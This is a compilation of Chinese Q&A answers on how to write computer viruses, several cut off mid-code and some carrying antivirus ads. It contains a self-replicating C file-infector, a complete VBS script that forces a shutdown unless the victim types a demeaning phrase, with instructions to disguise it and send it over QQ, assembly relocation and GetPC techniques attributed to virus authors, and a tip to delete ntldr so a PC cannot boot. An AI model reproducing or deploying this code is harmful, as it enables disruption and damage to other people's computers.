怎麼編寫病毒?
怎麼用C語言寫個簡單病毒,給個代碼過程
首先聲明:
本程序是我舉的一個例子
為了叫大家理解就可以了
如果大家拿去捉弄人,我不負任何責任!
希望大家要以學習為重!
對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的
我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享
不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定
用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,
再次聲明這一切全是為了編程研究!!!
病毒的特點:
病毒的最大特點就是自我複製,從病毒的分類來說有很多種,這裡我們將介紹最流行的附加式
病毒,它通過對正常的文件進行改寫,增加來實現其自我複製的目的。
從程序的角度來說,我們要做的事情有兩件:
1,讓程序能夠將自己在不影響其它程序本身工作的情況下複製給其它程序,
使它具備繼續複製的能力。
2,在一定條件下使其產生某種發作效果。
其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染
文件的最後,同時在被感染文件中調用這個函數
下面給出c語言的實現過程:
1,主程序調用病毒功能函數
2,病毒功能函數讀取查找同目錄下所有c文件;
3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變量;
4,重新創建一個同名文件(被感染c文件)
5,數組變量寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數
調用語句寫入;
6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;
這樣一個簡單的c語言偽病毒virus.c就完成了
運行程序後其內容變化另保存為after_virus.c
此時,如果我們將1.c文件用A盤複製到其他機器或者Email給別人,結果
他們一運行又感染了他們保存1.c文件目錄下所有c文件
對於第二件事情-------“發作效果”,這裡只用printf語句警告了一下,當然你
完全可以寫一個TSR駐留函數
其實,這個程序勉強可以叫做病毒
根本不算是真正的病毒,好了就說這麼多,
代碼如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......
怎麼製作電腦病毒
方法如下:在開始內點擊運行輸入at xx:xx shutdown -s,xx:xx代表幾點幾分是在幾點幾分關機輸入shutdown.exe -s -t xx,xx代表多少秒鐘後關機 如果要取消,就輸入shutdown -a就可以取消了.
我聽一個朋友說,有個人給他發個東西。他看了下。。說要輸入一句話。。不然就管你機。是怎麼編的。。。我知道關機命令和取消命令。。。不知道要對方怎麼輸才可以取消命令。。
腳本,例如下面的東西。就可以實現。
1。
首先呢,我們在桌面創建個新文件夾然後打開,在上面找到-工具T-文件夾選項O-查看
把隱藏已知文件類型的擴展名前面的勾去掉.
然後我們開始製作.在桌面建立個記事本,然後把下面代碼複製進去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬,不說我是豬就一分鐘關你機,不信,你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵,豬"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真過癮"
複製之後呢,把後綴修改為.vbs或者改變打開方式為應用程序,這樣你再壓縮下用QQ發給你朋友,對方打
開了就在60秒內要關閉計算機,
結素任務都不行,他只能說他是豬才能解決問題。夠壞吧? 注意哦,你可以把我是豬那個修改成任
意想說的話,要是對付你喜歡的人,
就修改成 我愛你 這樣他只有說我愛你之後才不關閉計算機哦 也可以把時間修改為20 就是說打
開了20秒就關了,還沒等對方打完就關機了 是不是叫對方很鬱悶呢?
第2招編寫VBS腳本
首先你可以看下面的
WScript.Echo("嘿,謝謝你打開我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉,這你都不知道嗎?")
WScript.Echo("怎麼才來,說~是不是不關心我")
WScript.Echo("哼,我生氣拉,等你這麼久,心都涼啦。")
WScript.Echo("小強很生氣,......
病毒的編寫是用的什麼原理?
在計算機領域中,它是一種基於遠程控制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具體位置,往往只能望“馬”興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作權限,包括修改文件,修改註冊表,控制鼠標,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。
從木馬的發展來看,基本上可以分為兩個階段。
最初網絡還處於以UNIX平臺為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網絡和編程知識。
而後隨著WINDOWS平臺的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無祕密可言。
二、木馬原理
[編輯本段]
鑑於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的瞭解。
【一、基礎知識 】
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬件部分,軟件部分和具體連接部分組成。
(1)硬件部分:建立木馬連接所必須的硬件實體。 控制端:對服務端進行遠程控制的一方。 服務端:被控制端遠程控制的一方。 INTERNET:控制端對服務端進行遠程控制,數據傳輸的網絡載體。
(2)軟件部分:實現遠程控制所必須的軟件程序。 控制端程序:控制端用以遠程控制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作權限的程序。 木馬配置程序:設置木馬程序的端口號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網絡地址,也是木馬進行數據傳輸的目的地。 控制端端口,木馬端口:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。
用木馬這種黑客工具進行網絡入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。
一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端儘可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製端口,自我銷燬等,我們將在“傳播木馬”這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在“信息反饋”這一節中詳細介紹。
【二、傳播木馬】.
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟件下載,一些非正規的網站以提供軟件下載為名義, 將木馬捆綁在軟件安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方......
病毒一般用什麼語言編寫的?
由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關係)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
如何編寫病毒
那首先要對系統底層的東西比較熟悉,如果編網絡病毒,還要對網絡協議很瞭解。並且要精通至少一門編程語言,一般寫病毒用asm(彙編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的批處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但彙編知識是寫高級病毒必須的知識。
病毒是怎麼寫出來的?
你好:
病毒是編程語言編寫出了的,不過建議您還是做個對網絡有用的人,而不是去學習製作病毒對網絡有害的人哦!
你要是想要你的電腦不受到病毒的侵害的話,推薦您還是使用電腦管家來保護您的電腦的!騰訊電腦管家官網
謝謝!
騰訊電腦管家企業平臺:zhidao.baidu.com/c/guanjia/
計算機怎樣編寫病毒
願我的答案 能夠解決您的煩憂
製作和傳播病毒都是不法行為,但是我可以告訴你,如果你是初學者,那麼你應該懂怎麼讓一個程序觸發後無限複製,你懂的了吧?
1,另外你最好按我說的準備好殺毒軟件,別最後被自己寫的程序給幹掉了。
2,下載騰訊電腦管家“8.3”最新版,對電腦首先進行一個體檢,打開所有防火牆避免系統其餘文件被感染。
3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。
4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。
5,查殺處理完所有病毒後,立刻重啟電腦,再進行一次安全體檢,清除多餘系統緩存文件,避免二次感染。
如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝
如何編寫程序病毒?
那首先要對系統底層的東西比較熟悉,如果編網絡病毒,還要對網絡協議很瞭解。並且要精通至少一門編程語言,一般寫病毒用asm(彙編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但彙編知識是寫高級病毒必須的知識。
怎麼編程病毒?
摟主`你多C語言懂多少呀?通常只要在病毒代碼的開始計算出delta offset,通過變址尋址的方式書寫引用數據的彙編代碼,即可保證病毒代碼在運行時被正確重定位。假設ebp 包含了delta offset,使用如下變址尋址指令則可保證在運行時引用的數據地址是正確的:
;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在書寫源程序時可以採用符號來代替硬編碼的地址值,上述的例子中給出的不過是編譯器對符號進行地址替換後的結果。現在的問題就轉換成如何獲取delta offset的值了,顯然:
call delta
delta:
pop ebp
sub ebp,offset delta
在運行時就動態計算出了delta offset 值,因為call要將其後的第一條指令的地址壓入堆棧,因此pop ebp 執行完畢後ebp 中就是delta的運行時地址,減去delta的編譯時地址“offset delta”就得到了delta offset 的值。除了用明顯的call 指令外,還可以使用不那麼明顯的fstenv、fsave、fxsave、fnstenv等浮點環境保存指令進行,這些指令也都可以獲取某條指令的運行時地址。以fnstenv 為例,該指令將最後執行的一條FPU 指令相關的協處理器的信息保存在指定的內存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不過是ebp 作為棧幀指針一般過程都不將該寄存器用於其它用途,因此大部分病毒作者都習慣於將delta offset 保存在ebp 中,其實用其他寄存器也完全可以。
在優化過的病毒代碼中並不經常直接使用上述直接計算delta offset 的代碼,比如在Elkern開頭寫成了類似如下的代碼:
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
為什麼不採用第二種書寫代碼的方式?其原因在於儘管第一種格式在書寫源碼時顯得比較羅嗦, 但是addrOpenProcess-_start_ip 是一個較小相對偏移值,一般不超過兩個字節,因此生成的指令較短,而addrOpenProcess在32 Win32編譯環境下一般是4 個字節的地址值,生成的指令也就較長。有時對病毒對大小要求很苛刻,更多時候也是為了顯示其超俗的編程技巧,病毒作者大量採用這種優化,對這種優化原理感興趣的讀者請參閱Intel手冊卷2中的指令格式說明。
API 函數地址的獲取
在能夠正確重定位之後,病毒就可以運行自己代碼了。但是這還遠遠不夠,要搜索文件、讀寫文件、進行進程枚舉等操作總不能在有Win32 API 的情況下......
如何使用匯編語言編寫一個病毒
這簡單啊
.386
.model flat,stdcall
option casemap:none
include windows.h
include user32.h
includelib user32.lib
.code
start:
invoke ExitWindowsEx,EWX_SHUTDOWN,0
end start
你試試就知道了,根本關不了機。需要權限的。需要 SE_SHUTDOWN 權限的,要先提權。
可以DeleteFile 刪除C盤根目錄下的ntldr 這個文件,重啟直接無法啟動了...